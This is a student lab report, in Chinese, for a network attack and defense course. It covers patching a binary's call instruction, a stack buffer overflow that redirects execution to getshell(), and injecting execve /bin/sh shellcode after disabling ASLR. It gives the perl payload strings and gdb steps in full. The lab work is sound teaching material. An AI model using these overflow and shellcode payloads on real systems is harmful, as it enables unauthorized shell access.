2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

2018-2019-2 20165312《网络攻防技术》Exp1 PC平台逆向破解

一、Exp1.1 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

实验思路：pwn1_1中main()调用foo()，此实验旨在修改程序机器指令，使得main()调用getshell()。

实验步骤：

• 反汇编：查看pwn1的代码机器指令和汇编语言objdump -d pwn1 | more

main()中call指令指向foo()的内存地址0x08048491，对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d，就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。

• 修改机器指令
  • vi pwn1_1显示为一堆乱码，因为vi只编辑有效的ASCII码
  • :%!xxd转化为十六进制显示
  • /d7快速搜索定位到需要修改的地方
  • :%!xxd -r修改成功后,返回到原来的ASCII处
  • :wq!保存修改退出
• 验证是否修改成功：进行反汇编查看机器指令和汇编语言objdump -d pwn1_1 | more

./pwn1_1

二、Exp1.2通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址

学习目标：理解攻击缓冲区的结果，掌握返回地址的获取

实验思路：

实验步骤

• 确认返回地址：
  objdump -d pwn1_2 | more查看getshell()的内存地址

在执行完foo()后，eip指向main()中call指令的下一条指令，现在要修改为getshell()的内存地址，即由0x080484ba修改为0x0804847d。

• 反汇编：查看foo()的所占字节长

objdump -d pwn1_2 | more

分析可得，0x1c换算为十进制为28,28+4=32。

• gdb调试：查看eip寄存器的值，验证foo()所占字节长

info r

eip寄存器的值为0x31313131,通过查询ASCII码转换表，发现其与1111相对应。此时可以验证foo()所占字节为32.

• 构造输入字符串：
  由于无法键盘输入字符串\x7d\x84\x04\x08\，所以生成包含字符串的文件BOF.1perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' >EOF.1。将BOF.1的输出作为pwn1_2的输入，并且执行pwn1_2(cat BOF.1;cat) | ./pwn1_2

三、Exp1.3注入Shellcode并执行

有关shellcode：为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）的机器指令。在此实验中，使用许心远学姐博客提供的shellcode：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

实验思路：注入shellcode即返回地址为shellcode的起始地址（此时shellcode在返回地址后，也可以在前面）

实验步骤

• 准备工作

  • 下载execstack程序:apt-get install execstack
  • 设置堆栈可执行: execstack -s pwn1_3
  • 查询文件的堆栈是否可执行:execstack -s pwn1_3
  • 查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
  • 关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

  

• 构造要注入的payload

  • 我们选择NSR溢出模式来攻击buf，nop的机器码90
  • 构造shellcode:perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode
  • 注入：(cat input-shellcode;cat) | ./pwn1_3

  

  • 另外打开一个终端2，查看执行文件进程号：ps -ef | grep pwn1_3

  

  • 进入gdb调试，连接进程号attach 2721

  • 设置断点查看注入buf的内存地址：

    • 反汇编：disassemble foo

    

    • 设置断点：break *0x080484ae
    • 在终端1敲回车键后，在终端2continue
    • 查看esp栈顶指针的地址:info r esp

    

    • 显示内存的值：x/16x 0xffffd33c
    • 通过查阅资料，由于foo()中leave指令达到mov esp,ebp和pop ebp的作用，esp指针指向原ebp指针的位置。所以shellcode的地址为0xffffd340
    • 退出gdb调试

  • 回到终端1exit退出

  • 修改shellcode中的内容：perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input-shellcode

  • 运行：(cat input-shellcode;cat) | ./pwn1_3

  

四、实验中遇到的问题及解决方案

1.运行pwn1_1时，遇到了没有那个文件或目录的问题

解决方案：

• 切换到root用户，用文件编辑器source.list

leafpad /etc/apt/sources.list

• 添加下列更新源

#阿里云kali源  
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
  
#中科大kali源  
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free 

• 更新软件

apt-get clean
apt-get update

• 安装32位运行库

apt-get install lib32z1

参考博客链接

2.在gdb调试pwn1_3时，无法连接到进程号。

在张羽昕同学的帮助下，发现是获取进程号的指令和gdb调试未在同一个终端下，改正后连接成功。

3.在做Exp1.3时，无法下载execstack

原因是可能之前在运行apt-get指令未执行完就退出了，只需要结束此进程就可以

sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock

参考博客链接

五、报告小结

• 实验收获与感想

通过三个小实验以及刘老师课上的讲解，对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别，实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。

• 什么是漏洞？漏洞有什么危害？

漏洞：在硬件、软件或协议在设计时存在的缺陷，攻击者能够在未授权的情况下进行非法操作。缓冲区溢出就是一个漏洞。危害：黑客入侵、病毒的驻留、数据丢失和篡改、隐私泄露甚至经济上的损失。

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

• NOP:空指令，什么也不做，可以理解为“滑档区”，一直跳到下一条指令 。
• JNE:条件跳转指令，若不相等则跳转。
• JE:条件跳转指令，若相等则跳转。
• JMP:无条件转移指令,可转到内存中任何程序段。转移地址可在指令中给出,或在寄存器中给出，或在存储器中指出。
• CMP:比较指令，相当于减法的功能，但是不保存结果，只是影响相应的标志位。

• 掌握反汇编与十六进制编程器

• 反汇编指令(参考博客链接)
  • objdump -d file反汇编需要执行指令的那些section
  • objdump -f file显示文件头信息
  • objdump -D file与-d类似，但反汇编中的所有section
  • objdump -h file显示Section Header信息
  • objdump -x file显示全部Header信息
  • objdump -s file将所有段的内容以十六进制的方式打印出来
• 十六进制编辑器
  • vi进入编辑器，此时为二进制。若发现为乱码，猜测为十六进制显示
  • esc键之后输入:%!xxd转化为十六进制
  • 进入十六进制后，可以使用/搜索指定的内容
  • esc键之后输入:%!xxd -r转化为二进制，保存即可退出。